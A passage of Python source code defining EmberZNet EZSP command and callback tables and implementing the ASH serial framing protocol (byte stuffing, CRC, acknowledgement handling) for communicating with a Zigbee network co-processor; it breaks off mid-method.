'name': 'proxy_broadcast',
'return': c.Struct(
"status" / e.EmberStatus,
"apsSequence" / c.Int8ul
)
},
0x38: {
'name': 'send_multicast',
'return': c.Struct(
"status" / e.EmberStatus,
"sequence" / c.Int8ul
)
},
0x3A: {
'name': 'send_multicast_with_alias',
'return': c.Struct(
"status" / e.EmberStatus,
"sequence" / c.Int8ul
)
},
0x39: {
'name': 'send_reply',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x41: {
'name': 'send_many_to_one_route_request',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x42: {
'name': 'poll_for_data',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x5A: {
'name': 'set_source_route',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x5B: {
'name': 'address_table_entry_is_active',
'return': c.Struct(
"active" / e.EzspBool
)
},
0x5C: {
'name': 'set_address_table_remote_eui64',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x5D: {
'name': 'set_address_table_remote_node_id',
'return': None
},
0x5E: {
'name': 'get_address_table_remote_eui64',
'return': c.Struct(
"eui64" / e.EmberEUI64
)
},
0x5F: {
'name': 'get_address_table_remote_node_id',
'return': c.Struct(
"nodeId" / e.EmberNodeId
)
},
0x7E: {
'name': 'set_extended_timeout',
'return': None
},
0x7F: {
'name': 'get_extended_timeout',
'return': c.Struct(
"extendedTimeout" / e.EzspBool
)
},
0x82: {
'name': 'replace_address_table_entry',
'return': c.Struct(
"status" / e.EmberStatus,
"oldEui64" / e.EmberEUI64,
"oldId" / e.EmberNodeId,
"oldExtendedTimeout" / e.EzspBool
)
},
0x60: {
'name': 'lookup_node_id_by_eui64',
'return': c.Struct(
"nodeId" / e.EmberNodeId
)
},
0x61: {
'name': 'lookup_eui64_by_node_id',
'return': c.Struct(
"status" / e.EmberStatus,
"eui64" / e.EmberEUI64
)
},
0x63: {
'name': 'get_multicast_table_entry',
'return': c.Struct(
"status" / e.EmberStatus,
"value" / e.EmberMulticastTableEntry
)
},
0x64: {
'name': 'set_multicast_table_entry',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x7C: {
'name': 'id_conflict_handler',
'return': c.Struct(
"nodeId" / e.EmberNodeId
)
},
0xFE: {
'name': 'write_node_data',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x96: {
'name': 'send_raw_message',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x68: {
'name': 'set_initial_security_state',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x69: {
'name': 'get_current_security_state',
'return': c.Struct(
"status" / e.EmberStatus,
"state" / e.EmberCurrentSecurityState
)
},
0x6a: {
'name': 'get_key',
'return': c.Struct(
"status" / e.EmberStatus,
"keyStruct" / e.EmberKeyStruct
)
},
0x71: {
'name': 'get_key_table_entry',
'return': c.Struct(
"status" / e.EmberStatus,
"keyStruct" / e.EmberKeyStruct
)
},
0x72: {
'name': 'set_key_table_entry',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x75: {
'name': 'find_key_table_entry',
'return': c.Struct(
"index" / c.Int8ul
)
},
0x66: {
'name': 'add_or_update_key_table_entry',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x67: {
'name': 'send_trust_center_link_key',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x76: {
'name': 'erase_key_table_entry',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xB1: {
'name': 'clear_key_table',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x14: {
'name': 'request_link_key',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xAF: {
'name': 'add_transient_link_key',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x6B: {
'name': 'clear_transient_link_keys',
'return': None
},
0xCE: {
'name': 'get_transient_link_key',
'return': c.Struct(
"status" / e.EmberStatus,
"transientKeyData" / e.EmberTransientKeyData
)
},
0x24: {
'name': 'trust_center_join_handler',
'return': c.Struct(
"newNodeId" / e.EmberNodeId,
"newNodeEui64" / e.EmberEUI64,
"status" / e.EmberDeviceUpdate,
"policyDecision" / e.EmberJoinDecision,
"parentOfNewNodeId" / e.EmberNodeId
)
},
0x73: {
'name': 'broadcast_next_network_key',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x74: {
'name': 'broadcast_network_key_switch',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x77: {
'name': 'become_trust_center',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x6F: {
'name': 'aes_mmo_hash',
'return': c.Struct(
"status" / e.EmberStatus,
"returnContext" / e.EmberAesMmoHashContext
)
},
0xA8: {
'name': 'remove_device',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xA9: {
'name': 'unicast_nwk_key_update',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xA4: {
'name': 'generate_cbke_keys',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x9F: {
'name': 'calculate_smacs',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xE8: {
'name': 'generate_cbke_keys283k1',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xE9: {
'name': 'generate_cbke_keys_handler283k1',
'return': c.Struct(
"status" / e.EmberStatus,
"ephemeralPublicKey" / e.EmberPublicKey283k1Data
)
},
0xEA: {
'name': 'calculate_smacs283k1',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xA1: {
'name': 'clear_temporary_data_maybe_store_link_key',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xEE: {
'name': 'clear_temporary_data_maybe_store_link_key283K1',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xA5: {
'name': 'get_certificate',
'return': c.Struct(
"status" / e.EmberStatus,
"localCert" / e.EmberCertificateData
)
},
0xEC: {
'name': 'get_certificate283k1',
'return': c.Struct(
"status" / e.EmberStatus,
"localCert" / e.EmberCertificate283k1Data
)
},
0xA6: {
'name': 'dsa_sign',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xA3: {
'name': 'dsa_verify',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xB0: {
'name': 'dsa_verify283k1',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xA2: {
'name': 'set_preinstalled_cbke_data',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xED: {
'name': 'save_preinstalled_cbke_data283k1',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x83: {
'name': 'mfglib_start',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x84: {
'name': 'mfglib_end',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x85: {
'name': 'mfglib_start_tone',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x86: {
'name': 'mfglib_stop_tone',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x87: {
'name': 'mfglib_start_stream',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x88: {
'name': 'mfglib_stop_stream',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x89: {
'name': 'mfglib_send_packet',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x8a: {
'name': 'mfglib_set_channel',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x8b: {
'name': 'mfglib_get_channel',
'return': c.Struct(
"channel" / c.Int8ul
)
},
0x8c: {
'name': 'mfglib_set_power',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x8d: {
'name': 'mfglib_get_power',
'return': c.Struct(
"power" / c.Int8sl
)
},
0x8f: {
'name': 'launch_standalone_bootloader',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x90: {
'name': 'send_bootload_message',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0x91: {
'name': 'get_standalone_bootloader_version_plat_miCRO_PHY',
'return': c.Struct(
"bootloader_version" / c.Int16ul,
"nodePlat" / c.Int8ul,
"nodeMicro" / c.Int8ul,
"nodePhy" / c.Int8ul
)
},
0x94: {
'name': 'aes_encrypt',
'return': c.Struct(
"ciphertext" / c.Bytes(16)
)
},
0x95: {
'name': 'override_current_channel',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xB2: {
'name': 'zll_network_ops',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xB3: {
'name': 'zll_set_initial_security_state',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xCF: {
'name': 'zll_set_security_state_without_key',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xB4: {
'name': 'zll_start_scan',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xB5: {
'name': 'zll_set_rx_on_when_idle',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xB9: {
'name': 'set_logical_and_radio_channel',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xBA: {
'name': 'get_logical_channel',
'return': c.Struct(
"logicalChannel" / c.Int8ul
)
},
0xBC: {
'name': 'zll_get_tokens',
'return': c.Struct(
"data" / e.EmberTokTypeStackZllData,
"security" / e.EmberTokTypeStackZllSecurity
)
},
0xBD: {
'name': 'zll_set_data_token',
'return': None
},
0xBF: {
'name': 'zll_set_non_zll_network',
'return': None
},
0xBE: {
'name': 'is_zll_network',
'return': c.Struct(
"isZllNetwork" / e.EzspBool
)
},
0xD4: {
'name': 'zll_set_radio_idle_mode',
'return': None
},
0xD5: {
'name': 'set_zll_node_type',
'return': None
},
0xD6: {
'name': 'set_zll_additional_state',
'return': None
},
0xD7: {
'name': 'zll_operation_in_progress',
'return': c.Struct(
"in_progress" / e.EzspBool
)
},
0xD8: {
'name': 'zll_rx_on_when_idle_get_active',
'return': c.Struct(
"rx_on" / e.EzspBool
)
},
0xC9: {
'name': 'gp_proxy_table_process_gp_pairing',
'return': c.Struct(
"gpPairingAdded" / e.EzspBool
)
},
0xC6: {
'name': 'd_gp_send',
'return': c.Struct(
"status" / e.EmberStatus
)
},
0xC8: {
'name': 'gp_proxy_table_get_entry',
'return': c.Struct(
"status" / e.EmberStatus,
"entry" / e.EmberGpProxyTableEntry
)
},
0xC0: {
'name': 'gp_proxy_table_lookup',
'return': c.Struct(
"index" / c.Int8ul
)
},
0xCA: {
'name': 'set_security_key',
'return': c.Struct(
"status" / e.EzspStatus
)
},
0xCB: {
'name': 'set_security_parameters',
'return': c.Struct(
"securityLevel" / e.SecureEzspSecurityLevel,
"hostRandomNumber" / e.SecureEzspRandomNumber
)
},
0xCC: {
'name': 'reset_to_factory_defaults',
'return': c.Struct(
"status" / e.EzspStatus
)
},
0xCD: {
'name': 'get_security_key_status',
'return': c.Struct(
"status" / e.EzspStatus,
"returnSecurityType" / e.SecureEzspSecurityType
)
}
}
_EZSP_CALLBACKS = {
# 0x07: {
# 'name': 'no_callbacks',
# 'return': None
# },
# 0x0D: {
# 'name': 'stack_token_changed_handler',
# 'return': c.Struct(
# "status" / e.EzspStatus
# )
# },
# 0x0F: {
# 'name': 'timer_handler',
# 'return': c.Struct(
# "status" / e.EzspStatus
# )
# },
# 0x54: {
# 'name': 'custom_frame_handler',
# 'return': c.Struct(
# "status" / e.EzspStatus
# )
# },
# 0x58: {
# 'name': 'invalid_command',
# 'return': c.Struct(
# "reason" / e.EzspStatus
# )
# },
0x19: {
'name': 'stack_status_handler',
'return': c.Struct(
"status" / e.EmberStatus
)
},
# 0x48: {
# 'name': 'energy_scan_return_handler',
# 'return': c.Struct(
# )
# },
# 0x1B: {
# 'name': 'network_found_handler',
# 'return': c.Struct(
# "status" / e.EzspStatus
# )
# },
0x1C: {
'name': 'scan_complete_handler',
'return': c.Struct(
"channel" / c.Int8ul,
"status" / e.EzspStatus
)
},
# 0xD2: {
# 'name': 'unused_pan_id_found_handler',
# 'return': c.Struct(
# "status" / e.EzspStatus
# )
# },
0x23: {
'name': 'child_join_handler',
'return': c.Struct(
"index" / c.Int8ul,
"joining" / e.EzspBool,
"childId" / e.EmberNodeId,
"childEui64" / e.EmberEUI64,
"childType" / e.EmberNodeType
)
},
# 0x4D: {
# 'name': 'duty_cycle_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x31: {
# 'name': 'remote_set_binding_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x32: {
# 'name': 'remote_delete_binding_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
0x3F: {
'name': 'message_sent_handler',
'return': c.Struct(
"type" / e.EmberOutgoingMessageType,
"indexOrDestination" / c.Int16ul,
"apsFrame" / e.EmberApsFrame,
"messageTag" / c.Int8ul,
"status" / e.EmberStatus,
"messageLength" / c.Int8ul,
"messageContents" / c.Bytes(c.this.messageLength)
)
},
# 0x43: {
# 'name': 'poll_complete_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x44: {
# 'name': 'poll_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x62: {
# 'name': 'incoming_sender_eui64_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
0x45: {
'name': 'incoming_message_handler',
'return': c.Struct(
"type" / e.EmberIncomingMessageType,
"apsFrame" / e.EmberApsFrame,
"lastHopLqi" / c.Int8ul,
"lastHopRssi" / c.Int8sl,
"sender" / e.EmberNodeId,
"bindingIndex" / c.Int8ul,
"addressIndex" / c.Int8ul,
"messageLength" / c.Int8ul,
"messageContents" / c.Bytes(c.this.messageLength)
)
},
# 0x59: {
# 'name': 'incoming_route_record_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0xC4: {
# 'name': 'change_source_route_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x7D: {
# 'name': 'incoming_many_to_one_route_request_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x80: {
# 'name': 'incoming_route_error_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x97: {
# 'name': 'mac_passthrough_message_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x46: {
# 'name': 'mac_filter_match_message_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x98: {
# 'name': 'raw_transmit_complete_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x6e: {
# 'name': 'switch_network_key_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x9B: {
# 'name': 'zigbee_key_establishment_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x9E: {
# 'name': 'generate_cbke_keys_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0xA0: {
# 'name': 'calculate_smacs_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0xEB: {
# 'name': 'calculate_smacs_handler283k1',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0xA7: {
# 'name': 'dsa_sign_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x78: {
# 'name': 'dsa_verify_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x8e: {
# 'name': 'mfglib_rx_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x92: {
# 'name': 'incoming_bootload_message_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0x93: {
# 'name': 'bootload_transmit_complete_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0xB6: {
# 'name': 'zll_network_found_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0xB7: {
# 'name': 'zll_scan_complete_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0xB8: {
# 'name': 'zll_address_assignment_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0xBB: {
# 'name': 'zll_touch_link_target_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0xC7: {
# 'name': 'd_gp_sent_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# },
# 0xC5: {
# 'name': 'gpep_incoming_message_handler',
# 'return': c.Struct(
# "status" / e.EmberStatus
# )
# }
}
<file_sep>/src/cinder/ash.py
"""
A class for the Asynchronous Serial Host (ASH) protocol designed for a host
that communicates with a Network Co-Processor that runs EmberZNet PRO.
"""
import logging
import asyncio
import enum
from PyCRC.CRCCCITT import CRCCCITT
from async_uart import AsyncUart
LOGGER = logging.getLogger(__name__)
_ASH_VERSION = 2
class AshRejectException(Exception):
"""Raised when a frame needs to be nakd"""
class AshIgnoreException(Exception):
"""Raised when a frame needs to be ignored"""
class _AshFrame():
"""A class for the internal representation of a frame and utilities"""
_frmTx = 0 # number of the next frame to send to the NCP
_frmRx = 0 # number of the last frame acked to the NCP
_ackRx = 0 # number of the last frame acked by the NCP
_pendings = {} # dictionnary of frames not acked by the NCP
_TX_BUFFER_SIZE = 5 # Maximum size of _pendings
_FLAG = 0x7E
_ESCAPE = 0x7D
_XON = 0x11
_XOFF = 0x13
_SUB = 0x18
_CANCEL = 0x1A
_NEED_FLIPPING = [_FLAG, _ESCAPE, _XON, _XOFF, _SUB, _CANCEL]
_FLIP = 0x20
FRAME_TERMINATOR = _FLAG
_RANDOMIZE_POLY = 0xB8
_RANDOMIZE_SEED = 0x42
_WAKE = 0xFF
_DATA_FIELD_MIN_SIZE = 3
_DATA_FIELD_MAX_SIZE = 133
_DATA_FRAME_MIN_SIZE = _DATA_FIELD_MIN_SIZE + 1
_FRAME_MIN_SIZE = 1
_FRAME_MAX_SIZE = _DATA_FIELD_MAX_SIZE + 1
_CRC_SIZE = 2
_COMPLETE_FRAME_MIN_SIZE = _FRAME_MIN_SIZE + _CRC_SIZE + 1
_COMPLETE_FRAME_MAX_SIZE = _FRAME_MAX_SIZE + _CRC_SIZE + 1
_ACK_FRAME_SIZE = 4
_NAK_FRAME_SIZE = 4
_RSTACK_FRAME_SIZE = 6
_ERROR_FRAME_SIZE = 6
_COUNTER_MAX = 8
_RETX_DEFAULT_VALUE = 0
_NRDY_DEFAULT_VALUE = 0
def __init__(self, spec=None, raw=None):
self.spec = spec
self.raw = raw
def __del__(self):
if self.spec['isPending']:
LOGGER.debug(f"Freeing pending: {self}")
del _AshFrame._pendings[self.spec['frmNum']]
def needs_retransmission(self):
"""Used before a frame is retransmitted
The future inside _pending need to be reassigned in case of
retransmission
"""
_AshFrame._pendings[self.spec['frmNum']] = asyncio.Future()
self.spec['reTx'] = 1
self.raw = _AshFrame._build(self.spec)
def acknowledge(self):
"""Returns the future of the frame's acknowledge"""
return _AshFrame._pendings[self.spec['frmNum']]
@classmethod
def handle_incoming(cls, raw):
"""From a raw bytearray frame, builds (parses) a corresponding
dictionnary specification"""
spec = _AshFrame._parse(raw)
spec['isPending'] = False # No incoming ack for incoming frame
LOGGER.debug(f"→ {spec}")
return cls(spec=spec, raw=raw)
@classmethod
def handle_outgoing(cls, spec):
"""From a dictionnary specification of the frame, builds a
corresponding byterray of raw values"""
if spec['type'] == 'data':
# Data type outgoing frame are acknowledged
spec['isPending'] = True
spec['frmNum'] = _AshFrame._frmTx
_AshFrame._frmTx = cls._increment(_AshFrame._frmTx)
_AshFrame._pendings[spec['frmNum']] = asyncio.Future()
else:
# Non-data type outgoing frame are not acknowledged
spec['isPending'] = False
raw = _AshFrame._build(spec)
return cls(spec=spec, raw=raw)
@classmethod
def is_tx_buffer_full(cls):
"""Returns whether the TX buffer is full"""
return len(cls._pendings) > cls._TX_BUFFER_SIZE
@classmethod
def _build(cls, spec, randomize=True):
"""From dictionnary of fields, returns a corresponding frame"""
built = bytearray()
control = 0
if spec['type'] == 'data':
control = (spec['frmNum'] & 0x07) << 4
try:
control |= (spec['reTx'] & 0x01) << 3
except KeyError:
control |= (cls._RETX_DEFAULT_VALUE & 0x01) << 3
try:
control |= (spec['ackNum'] & 0x07)
except KeyError:
control |= cls._frmRx & 0x07
elif spec['type'] == 'ack':
control = 0x80
try:
control |= (spec['nRdy'] & 0x01) << 3
except KeyError:
control |= (cls._NRDY_DEFAULT_VALUE & 0x01) << 3
control |= spec['ackNum'] & 0x07
elif spec['type'] == 'nak':
control = 0xA0
try:
control |= (spec['nRdy'] & 0x01) << 3
except KeyError:
control |= (cls._NRDY_DEFAULT_VALUE & 0x01) << 3
control |= spec['ackNum'] & 0x07
elif spec['type'] == 'rst':
control = 0xC0
else:
LOGGER.error(f"Wrong frame type: {spec['type']}")
return bytearray()
built.append(control)
if spec['type'] == 'data':
valid = len(spec['data']) < cls._DATA_FIELD_MIN_SIZE
valid &= len(spec['data']) > cls._DATA_FIELD_MAX_SIZE
if valid:
LOGGER.error(f"Building has failed. Inadequate payload size:"
+ f"{len(spec['data'])}")
return bytearray()
if randomize:
built.extend(cls._randomize(spec['data']))
else:
built.extend(spec['data'])
built.extend(cls._crc(built))
built = cls._flip(built)
built.append(cls._FLAG)
LOGGER.debug(f"→ {spec}")
return built
@classmethod
def _parse(cls, frame, randomized=True):
"""Takes a frame and return a dictionnary of its fields"""
if not isinstance(frame, bytearray):
raise TypeError(f"{type(frame)} isn't a bytearray")
parsed = {}
frame = cls._sanitize(frame)
frame = cls._unflip(frame)
if len(frame) < cls._COMPLETE_FRAME_MIN_SIZE:
LOGGER.error(f"← Frame too short ({len(frame)})")
raise AshIgnoreException
if len(frame) > cls._COMPLETE_FRAME_MAX_SIZE:
LOGGER.error(f"← Frame too long ({len(frame)})")
raise AshRejectException
crc = cls._crc(frame[:-3])
if frame[-3:-1] != crc:
LOGGER.error(f"CRC: {crc} != {frame[-3:-1]}")
raise AshRejectException
if (frame[0] & 0x80) == 0x00: # DATA FRAME
if len(frame[:-3]) < cls._DATA_FRAME_MIN_SIZE:
LOGGER.error(f"← Data frame too short ({len(frame[:-3])})")
raise AshIgnoreException
parsed['type'] = 'data'
parsed['frmNum'] = (frame[0] & 0x70) >> 4
parsed['reTx'] = (frame[0] & 0x08) >> 3
parsed['ackNum'] = frame[0] & 0x07
if randomized:
parsed['data'] = cls._randomize(frame[1:-3])
else:
parsed['data'] = frame[1:-3]
if len(parsed['data']) > cls._DATA_FIELD_MAX_SIZE:
raise AshRejectException
elif (frame[0] & 0xE0) == 0x80: # ACK FRAME
parsed['type'] = 'ack'
parsed['nRdy'] = (frame[0] & 0x08) >> 3
parsed['ackNum'] = frame[0] & 0x07
if len(frame) != cls._ACK_FRAME_SIZE:
LOGGER.error(f"Wrong ACK size ({len(frame)})")
raise AshIgnoreException # TODO: maybe reject??
elif (frame[0] & 0xE0) == 0xA0: # NAK FRAME
parsed['type'] = 'nak'
parsed['nRdy'] = (frame[0] & 0x08) >> 3
parsed['ackNum'] = frame[0] & 0x07
if len(frame) != cls._NAK_FRAME_SIZE:
LOGGER.error(f"Wrong NAK size ({len(frame)})")
raise AshIgnoreException # TODO: maybe reject??
elif frame[0] == 0xC1: # RSTACK FRAME
parsed['type'] = 'rstack'
if len(frame) != cls._RSTACK_FRAME_SIZE:
LOGGER.error(f"Wrong RSTACK size ({len(frame)})")
raise AshIgnoreException # TODO: maybe reject??
parsed['version'] = frame[1]
parsed['reason'] = cls._get_reset_code(frame[2])
elif frame[0] == 0xC2: # ERROR FRAME
parsed['type'] = 'error'
if len(frame) != cls._ERROR_FRAME_SIZE:
LOGGER.error(f"Wrong ERROR size ({len(frame)})")
raise AshIgnoreException # TODO: maybe reject??
parsed['error'] = int.from_bytes(
frame[1:3], byteorder='big', signed=False)
else: # UNEXPECTED FRAME
LOGGER.error(f"Unexpected control byte: {frame}")
raise AshIgnoreException
return parsed
@classmethod
def _increment(cls, counter):
"""Increments the circular counter"""
return (counter + 1) % cls._COUNTER_MAX
@classmethod
def _decrement(cls, counter):
"""Decrements the circular counter"""
return (counter - 1) % cls._COUNTER_MAX
@classmethod
def _is_between(cls, left, val, right):
"""Returns true if val is between left and right (circular counters)"""
return (((val - left) % cls._COUNTER_MAX)
<= ((right - left) % cls._COUNTER_MAX))
@classmethod
def _randomize(cls, data):
"""XOR s with a pseudo-random sequence for transmission"""
seed = cls._RANDOMIZE_SEED
out = bytearray()
for char in data:
out.append(char ^ seed)
if seed & 0x01:
seed = (seed >> 1) ^ cls._RANDOMIZE_POLY
else:
seed = seed >> 1
return out
@classmethod
def _flip(cls, data):
"""ASH reserves reserves byte values for special functions. If bytes
with these values happen to occur within a frame, ASH uses a process
know as byte stuffing to replace those bytes so that they have
non-reserved values. Byte stuffing is performed on the entire ASH frame
except the flag byte."""
out = bytearray()
for char in data:
if char in cls._NEED_FLIPPING:
out.append(cls._ESCAPE)
out.append(char ^ cls._FLIP)
else:
out.append(char)
return out
@classmethod
def _unflip(cls, data):
"""Undoes the stuffing done by the NCP (cf. _flip)"""
out = bytearray()
flipped = False
for char in data:
if flipped:
out.append(char ^ cls._FLIP)
flipped = False
elif char == cls._ESCAPE:
flipped = True
else:
out.append(char)
return out
@classmethod
def _crc(cls, data):
"""Returns the CRC of the given data (standard CRCCCITT)"""
crc = CRCCCITT(version="FFFF").calculate(bytes(data))
return bytearray(crc.to_bytes(cls._CRC_SIZE, byteorder='big'))
@classmethod
def _sanitize(cls, data):
"""Cleans the data for parsing
A cancel byte causes all data received since the previous flag byte to
be ignored. A substitute causes the data between the previous and the
next flag bytes to be ignored.
"""
sub = bytes([cls._SUB])
can = bytes([cls._CANCEL])
while sub in data:
if data[0] == sub:
data = data[1:]
continue
leftmost_sub = data.find(sub)
closest_left_flag = data.rfind(cls._FLAG, 0, leftmost_sub + 1)
closest_right_flag = data.find(cls._FLAG, leftmost_sub)
if closest_right_flag == -1:
closest_right_flag = len(data) - 1
data = data[:closest_left_flag + 1] + data[closest_right_flag + 1:]
while can in data:
if data[0] == can:
data = data[1:]
continue
leftmost_canc = data.find(can)
leftmost_flag = data.find(cls._FLAG, 0, leftmost_canc)
data = data[:leftmost_flag + 1] + data[leftmost_canc + 1:]
return data
@classmethod
def _get_reset_code(cls, code):
"""Returns a string representing the error code"""
if code == 0x00:
return 'Unknown'
elif code == 0x01:
return 'External'
elif code == 0x02:
return 'Power-on'
elif code == 0x03:
return 'Watchdog'
elif code == 0x06:
return 'Assert'
elif code == 0x09:
return 'Bootloader'
elif code == 0x0B:
return 'Software'
return 'Unexpected'
@classmethod
def reset(cls):
"""Resets the internal state of this class"""
cls._frmTx = 0
cls._frmRx = 0
cls._ackRx = 0
cls._pendings = {}
@classmethod
def handle_incoming_ack(cls, frame):
"""Handle the (non-)acknowledge frame the NCP sends"""
parsed = frame.spec
valid = cls._is_between(
_AshFrame._ackRx,
parsed['ackNum'],
cls._frmTx)
if not valid:
LOGGER.debug(f"← Rejected (acknum): {parsed}")
return
elif parsed['type'] == 'nak':
LOGGER.debug(f"Frame {parsed['ackNum']} has been nak'd")
cls._pendings[parsed['ackNum']].set_result(False)
else:
if cls._ackRx != parsed['ackNum']: # New ACK
limit = cls._decrement(parsed['ackNum'])
for frm_tx in cls._pendings:
if cls._is_between(cls._ackRx,
frm_tx,
limit):
if frm_tx == parsed['ackNum']:
return
cls._pendings[frm_tx].set_result(True)
cls._ackRx = parsed['ackNum']
@classmethod
def handle_incoming_data(cls, frame):
"""Handle the data frames the NCP sends"""
parsed = frame.spec
if parsed['frmNum'] != cls._frmRx: # Frame is out of order
if parsed['reTx'] == 1: # Already retransmitted
cls._frmRx = parsed['frmNum']
cls._frmRx = _AshFrame._increment(cls._frmRx)
new_ack = cls._build(dict(
type='ack',
ackNum=cls._frmRx
))
return None, new_ack
LOGGER.debug(f"← Rejected: {parsed}")
new_ack = cls._build(dict(
type='nak',
ackNum=cls._frmRx
))
return None, new_ack
# Frame is in order
cls._frmRx = _AshFrame._increment(cls._frmRx)
new_ack = cls._build(dict(
type='ack',
ackNum=cls._frmRx
))
return parsed['data'], new_ack
class Ash():
"""A class for the ASH protocol"""
_RSTACK_TIMEOUTS = 5
_RSTACK_TIMEOUT = 5
_ACK_TIMEOUT = 5
_RTX_ATTEMPTS = 3
class State(enum.Enum):
"""A class for the ASH protocol internal state"""
INIT = 0x00
CONNECTED = 0x01
FAILED = 0xFF
def __init__(self, port, baudrate, xonxoff=False, rtscts=True):
self._serial = AsyncUart(port, baudrate, xonxoff, rtscts)
self._upward_data = asyncio.Queue()
self._state = self.State.INIT
_AshFrame.reset()
async def process(self, future):
"""Main ASH task"""
if await self._initialize():
future.set_result(True)
else:
future.set_result(False)
return
while True:
# Get new raw frame
raw = await self._serial.readuntil(_AshFrame.FRAME_TERMINATOR)
LOGGER.debug(f"← {raw.hex()}")
# Don't bother with it if we aren't fully initialized
if self._state != self.State.CONNECTED:
continue
# Parse it
try:
frame = _AshFrame.handle_incoming(raw)
# frame = _AshFrame.parse(raw)
except AshIgnoreException:
continue
except AshRejectException:
LOGGER.debug(f"← Rejected (parsing): {frame}")
continue # TODO
LOGGER.debug(f"← {frame.spec}")
# Process incoming ack/nak
if frame.spec['type'] in ['data', 'ack', 'nak']:
_AshFrame.handle_incoming_ack(frame)
# Process incoming data frame
if frame.spec['type'] == 'data':
new_data, new_ack = _AshFrame.handle_incoming_data(frame)
if new_data:
LOGGER.debug(f"↑ {new_data}")
self._upward_data.put_nowait(new_data)
await self._serial.write(new_ack)
# Process rstack frame
elif frame.spec['type'] == 'rstack':
LOGGER.warning(f"Received rstack: {frame.spec}")
# TODO
# Process error frame
elif frame.spec['type'] == 'error':
LOGGER.warning(f"Received error: {frame.spec}")
# TODO
async def reset(self, previous=None):
"""Resets the ASH layer, and sends the previous frames"""
pass
def _set_state(self, state):
""""State changing function"""
LOGGER.debug(f"State changed: {self._state.name} → {state.name}")
self._state = state
async def write(self, data):
"""Encapsulates data and write it"""
if _AshFrame.is_tx_buffer_full():
return False
frame = _AshFrame.handle_outgoing({
'type': 'data',
'data': data
})
for _ in range(self._RTX_ATTEMPTS):
await self._serial.write(frame.raw)
try: # wait for ack
